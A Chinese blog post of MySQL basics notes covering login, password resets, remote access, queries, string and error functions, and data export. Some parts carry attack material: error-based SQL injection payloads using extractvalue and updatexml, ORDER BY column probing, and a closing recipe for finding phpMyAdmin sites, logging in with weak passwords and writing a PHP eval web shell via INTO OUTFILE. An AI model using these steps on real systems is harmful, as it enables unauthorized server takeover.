木肃的博客

MySQL数据库基础知识笔记

数据库

数据库即存储数据的仓库,是一个管理数据的软件

数据库模型
  • 关系型数据库(也称结构化数据库)
    • MySQL:轻量级开源数据库,适用于中小型企业,性能较好
    • MSSQL(SQL server):微软开发的,适用于中大型企业,需要微软系统作为支撑,不支持跨平台
    • Oracle:收费,适用于大型企业的需求,支持跨平台,需要良好的硬件配置作为支撑
    • DB2
    • ……
  • 非关系型数据库(也称非结构化数据库)
    • redis、mongodb、Hbase、nosql等
关系型数据库结构
  1. 数据库:可以看成是一个“文件柜”中的“小格子”
  2. 数据表:可以看成是一个具体的“文件”
  3. 记录、字段、数据
    • 一行,即一条记录
    • 一列,即一个字段
    • 行列交叉处,即数据

MySQL登录和退出

登录MySQL有两种方式,一种是通过命令行登录进行操作,一种是通过工具登录进行操作,下面介绍通过DOS命令行进行登录

配置环境变量

如果想在任意位置登录MySQL,则需要配置环境变量,如何判断是否配置好,可通过查看MySQL版本的命令进行判断:

1
mysql -V			#切记是大写的`V`

数据库

如果出现如下情况即没有配置好:

1
‘mysql -V 不是内部或外部命令,也不是可运行的程序或批处理文件。

接下来进行配置,win7路径如下:

1
win7-->计算机-->属性-->高级系统设置-->高级-->环境变量-->系统变量-->Path

大差不差,网上教程很多,配一下就完事儿了,此处省略**字

登录

在DOS命令行中,执行以下命令:

1
mysql -h 主机名 -u 用户名 -p 密码
  • -h:代表MySQL数据库主机名。本地主机名如:127.0.0.1。MySQL数据库默认端口号:3306
  • -u:代表MySQL用户名。如:root
  • -p:代表MySQL密码。如:root。在登录时,可以先不输入密码值

如:

1
mysql -h127.0.0.1 -uroot -proot

退出

1
exit

重置密码

如果忘记密码,莫慌,老夫看你骨骼惊奇,这个重置密码的方法,就赐予你了:

phpstudy重置数据库密码:
1
其他选项菜单-->mysql工具-->重置密码
Linux(centos7)修改root密码:
  • MySQL版本低于8:
1
2
3
4
5
6
7
8
9
10
11
12
1.修改配置文件:vi /etc/my.cnf 	添加:skip-grant-tables	重启MySQL服务

2.空密码登录: mysql -uroot

3.改密码:
update mysql.user set authentication_string=password(‘root'),plugin='mysql_native_password' where user='root' and host='localhost';

4.更新数据库:flush privileges;

5.退出

6.再次修改配置文件,注释掉skip-grant-tables,重启MySQL服务,即可
  • MySQL版本为8及以上:
1
2
3
4
5
6
7
8
9
1.查看原始密码:(两种方法)
1). grep "password" /var/log/mysqld.log
2). cat /var/log/mysqld.log | grep "password"

2.使用原始密码登录: mysql -uroot -p

3.执行命令: ALTER USER "root"@"localhost" IDENTIFIED BY "你的密码";

4.重启服务即可

允许外界连接的方法

  • 改表法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    进入MySQL,执行以下命令:

    首先要能远程访问,修改root的host为%
    update user set host='%' where user='root';
    GRANT ALL ON *.* TO 'root'@'%';

    其次,修改连接方式:
    ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '你的数据库密码';
    注意修改防火墙规则或者关闭防火墙
  • 授权法

    1
    2
    3
    4
    ubuntu上安装mysql只需要几条命令就可以完成。
    sudo apt-get install mysql-server 注意:安装时需要设置root密码
    apt-get install mysql-client
    sudo apt-get install libmysqlclient-dev

数据类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
整型				INT

浮点型 FLOAT

日期 DATE YYYY-MM-DD

时间 TIME HH-MM-SS

时间戳 TIMESTAMP

字符 CHAR
VARCHAR

文本 TEXT

MySQL数据库操作

在MySQL交互式环境中,所有命令必须以英文分号;结束

MySQL不区分大小写,但是把系统命令和自定义值以大小写区分会便于查看和排错

显示数据库

1
SHOW DATABASES;

创建数据库

1
2
交互式环境:		CREATE DATABASE [IF NOT EXISTS] 数据库名 [CHARSET UTF8];
DOS命令行: mysqladmin -uroot -proot CREATE DATABASE 数据库名;
  • IF NOT EXISTS:可选项,如果不存在,则创建数据库
  • 数据库名:自定义
  • CHARSET:设置数据库的默认字符集

数据库

删除数据库

1
DROP DATABASE [IF EXISTS] 数据库名;

查看数据库的字符集

1
SHOW CREATE DATABASE 数据库名;

数据库

通过MySQL命令修改数据库的字符集

1
ALTER DATABASE 数据库名 DEFAULT CHARACTER SET gbk;

数据库

MySQL数据表操作

选择数据库

只有进入数据库里,才能操作数据表

1
USE 数据库名;

显示当前库中所有的数据表

1
SHOW TABLES;

创建数据表

1
CREATE TABLE 表名(字段1 字段1类型 字段1属性,字段2 字段2类型 字段2属性,……)
  • 字段类型:tinyint、int、bigint、char、varchar、text、date、time等
  • 字段属性:
    • NOT NULL|NULL:是否可以为空
    • DEFAULT default_value:指该列的默认值
      • default_value默认值可以是字符串,也可以是整型
    • AUTO_INCREMENT:该列为自动增长型,或者自动编号。要求该列必须是整型。一个表只能有一个auto_increment属性
    • PRIMARY KEY:主键。指定该列的值具有唯一性,主键所在的列不能为空。一个表的主键只能有一个

一个数据表,由多个列构成。多个列定义之间用英文下的逗号隔开。

数据库

数据库

删除数据表

1
DROP TABLE [IF EXISTS] table_name;

修改数据表

数据库

describe显示表的结构定义

1
DESCRIBE 表名;	或		DESC 表名;

数据库

SQL基础

增删改查

增加记录

1
INSERT INTO 表名(字段1,字段2,字段3,…) VALUES (值1,值2,值3,…)

删除记录

1
DELETE FROM 表名 [WHERE 条件]

WHERE条件:如果省略,将删除所有记录

修改记录

1
UPDATE 表名 SET 字段1 = 新值1,字段2=新值2,… [WHERE条件]
  • 需要更新的字段列出,不需要更新的不用管它

  • 字段的顺序可以修改

  • WHERE条件不能省略,如果省略,所有记录都会修改

查询记录

1
SELECT 字段列表|* FROM 表名 [WHERE条件] [ORDER BY排序][LIMIT限制输出]
  • 字段字列表:查询某些字段的数据,各字段之间用逗号隔开,字段之间没有顺序
  • :表示显示所有列的数据。如:select from news;
  • where:指查询的条件
  • ORDER BY:字段排序
  • LIMIT:限制输出

条件判断

WHERE

数据库

1
2
3
SELECT * FROM news WHERE id<100;
SELECT * FROM news WHERE id<100 and hits<100;
SELECT * FROM news WHERE id=100 OR hits<50;

ORDER BY

1
2
3
order by n		如果后面跟数字,是按照第n列数据排序,如果n超过字段数,就报错

ERROR 1054 (42S22): Unknown column '5' in 'order clause'

由此可判断此表有几列

LIMIT 限制输出

1
LIMIT startrow,pagesize;
  • startrow从指定的行数起,开始返回数据

  • pagesize返回的记录数

  • 举例:

    1
    2
    3
    LIMIT 0,10;  //从第0行起,返回10条记录
    LIMIT 10,10; //从第10行起,返回10条记录
    LIMIT 20,10; //从第20行起,返回10条记录

LIKE

1
2
3
4
5
通配符:
* 表示任意的字符
% 表示任意的字符
? 表示一个字符
SELECT * FROM 表名 WHERE 字段名 LIKE '字符串'; 其中字符串可用通配符

UNION 联合查询

1
SELECT 字段列表|* FROM 表1 UNION SELECT 字段列表|* FROM 表2;

表1和表2中字段数应相同

DISTINCT 去重

1
SELECT  DISTINCT field FROM table_name [WHERE 条件];

GROUP_CONCAT 把查询结果链接一起

1
SELECT  group_concat(DISTINCT field) FROM table_name [WHERE 条件] ;

常用函数

  • 数据库信息类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
version()  		显示数据库版本信息

connection_id() 显示当前连接数

user() 当前用户(current_user()、system_user()、session_user())

database() 查看当前使用的数据库

schema() 查看当前使用的数据库

@@hostname 获取当前计算机名称

@@tmpdir 存放临时文件的路径

@@datadir 存放数据的路径

@@version 数据库版本

@@basedir 数据库所在位置
  • 字符串操作类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mid(string,start,length)  			 用来截取字符串中一部分

SUBSTRING(str,start,length) 把str从start个字符开始截取length个字符,并输出

ord() 用来显示字符的ASCII码

concat() 拼接字符串

concat_ws() 使用分隔符来拼接字符串
第一个参数是分隔符,支持16进制,不能用单双引号包括

group_concat() 和concat类似,拼接并分组显示数据

INSERT(str1,start,length,str2) 把str1的第start个字符往后的length个字符替换为str2

LEFT(str,length) 把str从左边开始截取length个字符并输出

RIGHT(str,length) 把str从右边开始截取length个字符并输出
  • 其他
1
SLEEP(5)			让服务器等待5秒后返回0
  • 报错函数

extractvalue

1
2
3
4
5
extractvalue(XML_document,XPath_string):
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
作用:从目标XML中返回包含所查询值的字符串
select * from news where tid=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));

UPDATEXML

1
2
3
4
5
6
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
select * from news where tid=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

导入导出数据

导入数据

1
2
3
4
5
1.mysql命令导入			mysql -uroot -proot < 文件路径

2.source命令导入

3.使用 LOAD DATA 导入数据

导出数据

  • 第一种方法
1
SELECT * FROM 表名 INTO OUTFILE "路径+文件名";

如果出错,以下为解决办法:

1
2
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
on so it cannot execute this statement
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
执行命令(查看相关配置):
SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

secure_file_priv 为 /tmp (路径)时,表示限制mysqld只能在/tmp目录(路径)中执行导入导出,其他目录不能执行。

secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

永久解决办法:
修改配置文件my.ini,添加如下语句:
secure_file_priv= //表示可导入导出到任意目录

临时解决办法:
set global secure_file_priv='';
  • 第二种方法
1
2
3
4
5
mysqldump -uroot -p db_name > ./db_name.sql	在DOS命令下运行

mysqldump -u 用户名 -p 数据库名 > 导出的文件名

mysqldump -u 用户名 -p 数据库名 表名 > 导出的文件名

通过phpmyadmin来getshell

1
2
3
4
5
6
7
1. 首先通过google hacking找到phpmyadmin的网站

2. 弱口令登录,SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';判断我们有没有权限去写木马文件

3. 执行SQL语句,查看数据库所在位置:select @@basedir;

4. 猜测根目录写入木马文件:`select '<?php eval($_POST[_]);?>' into outfile 'G;//shell.php'`:注意:写木马的路径,一般是`/var/www/html`